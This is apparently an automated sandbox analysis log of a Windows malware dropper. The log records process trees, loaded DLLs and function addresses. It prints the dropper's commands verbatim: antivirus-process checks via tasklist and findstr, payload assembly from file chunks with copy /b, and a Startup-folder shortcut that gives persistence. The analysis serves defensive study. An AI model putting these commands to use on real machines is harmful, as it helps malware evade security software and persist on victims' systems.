Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FC89BF	10_2_00FC89BF
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FC6A74	10_2_00FC6A74
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FA0BE0	10_2_00FA0BE0
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_01010A3A	10_2_01010A3A
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FEEDB2	10_2_00FEEDB2
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FBCD51	10_2_00FBCD51
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FF8E44	10_2_00FF8E44
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FC6FE6	10_2_00FC6FE6
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_01010EB7	10_2_01010EB7
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FB33B7	10_2_00FB33B7
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FAD45D	10_2_00FAD45D
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FBF409	10_2_00FBF409
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FB16B4	10_2_00FB16B4
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00F9F6A0	10_2_00F9F6A0
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00F91663	10_2_00F91663
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FAF628	10_2_00FAF628
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FB78C3	10_2_00FB78C3
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FB1BA8	10_2_00FB1BA8
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FBDBA5	10_2_00FBDBA5
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FC9CE5	10_2_00FC9CE5
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FADD28	10_2_00FADD28
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FBBFD6	10_2_00FBBFD6
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FB1FC0	10_2_00FB1FC0
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00ACB020	18_2_00ACB020
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00AC94E0	18_2_00AC94E0
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00AC9C80	18_2_00AC9C80
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00AE23F5	18_2_00AE23F5
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00B48400	18_2_00B48400
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00AF6502	18_2_00AF6502
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00ACE6F0	18_2_00ACE6F0
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00AF265E	18_2_00AF265E
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00AE282A	18_2_00AE282A
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00AF89BF	18_2_00AF89BF
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00B40A3A	18_2_00B40A3A
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00AF6A74	18_2_00AF6A74
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00AD0BE0	18_2_00AD0BE0
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00B1EDB2	18_2_00B1EDB2
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00AECD51	18_2_00AECD51
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00B40EB7	18_2_00B40EB7
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00B28E44	18_2_00B28E44
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00AF6FE6	18_2_00AF6FE6
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00AE33B7	18_2_00AE33B7
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00AEF409	18_2_00AEF409
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00ADD45D	18_2_00ADD45D
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00ACF6A0	18_2_00ACF6A0
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00AE16B4	18_2_00AE16B4
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00ADF628	18_2_00ADF628
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00AC1663	18_2_00AC1663
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00AE78C3	18_2_00AE78C3
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00AE1BA8	18_2_00AE1BA8
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00AEDBA5	18_2_00AEDBA5
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00AF9CE5	18_2_00AF9CE5
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00ADDD28	18_2_00ADDD28
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00AE1FC0	18_2_00AE1FC0
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00AEBFD6	18_2_00AEBFD6

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD

Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Code function: String function: 004062A3 appears 58 times
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: String function: 00AD1A36 appears 34 times
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: String function: 00AE8B30 appears 42 times
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: String function: 00AE0D17 appears 70 times
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: String function: 00FB8B30 appears 42 times
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: String function: 00FA1A36 appears 34 times
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: String function: 00FB0D17 appears 70 times

Source: 66fd8d779da5e_EscortsRadios.exe, 00000000.00000002.1750126816.00000000005F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs 66fd8d779da5e_EscortsRadios.exe
Source: 66fd8d779da5e_EscortsRadios.exe, 00000000.00000003.1749546590.00000000005F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs 66fd8d779da5e_EscortsRadios.exe
Source: 66fd8d779da5e_EscortsRadios.exe, 00000000.00000003.1745574045.00000000027D9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAutoIt3.exeB vs 66fd8d779da5e_EscortsRadios.exe

Source: 66fd8d779da5e_EscortsRadios.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal76.expl.evad.winEXE@28/17@3/0

Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif

Code function: 10_2_00FFA6AD GetLastError,FormatMessageW,

10_2_00FFA6AD

Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FE8DE9 AdjustTokenPrivileges,CloseHandle,	10_2_00FE8DE9
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FE9399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	10_2_00FE9399
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00B18DE9 AdjustTokenPrivileges,CloseHandle,	18_2_00B18DE9
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00B19399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	18_2_00B19399

Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe

0_2_004044A5

Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif

Code function: 10_2_00FF4148 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

10_2_00FF4148

Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe

Code function: 0_2_004024FB CoCreateInstance,

0_2_004024FB

Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif

Code function: 10_2_00FF443D __swprintf,__swprintf,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,

10_2_00FF443D

Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif

File created: C:\Users\user\AppData\Local\DatumHub Technologies

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3496:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6864:120:WilError_03

Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe

File created: C:\Users\user\AppData\Local\Temp\nsa8F56.tmp

Jump to behavior

Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe

Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Jeffrey Jeffrey.bat & Jeffrey.bat

Source: 66fd8d779da5e_EscortsRadios.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe

File read: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe "C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe"
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Jeffrey Jeffrey.bat & Jeffrey.bat
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 527294
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "phisexyerrorspuzzle" Recorder
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Bottle + ..\Audi + ..\Duties + ..\Integral + ..\Warren + ..\Casio + ..\Sunny d
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif Miniature.pif d
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DatumHub.url" & echo URL="C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DatumHub.url" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr "C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr" "C:\Users\user\AppData\Local\DatumHub Technologies\s"
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Jeffrey Jeffrey.bat & Jeffrey.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 527294	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "phisexyerrorspuzzle" Recorder	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Bottle + ..\Audi + ..\Duties + ..\Integral + ..\Warren + ..\Casio + ..\Sunny d	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif Miniature.pif d	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DatumHub.url" & echo URL="C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DatumHub.url" & exit	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr "C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr" "C:\Users\user\AppData\Local\DatumHub Technologies\s"	Jump to behavior

Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Section loaded: wshbth.dll	Jump to behavior
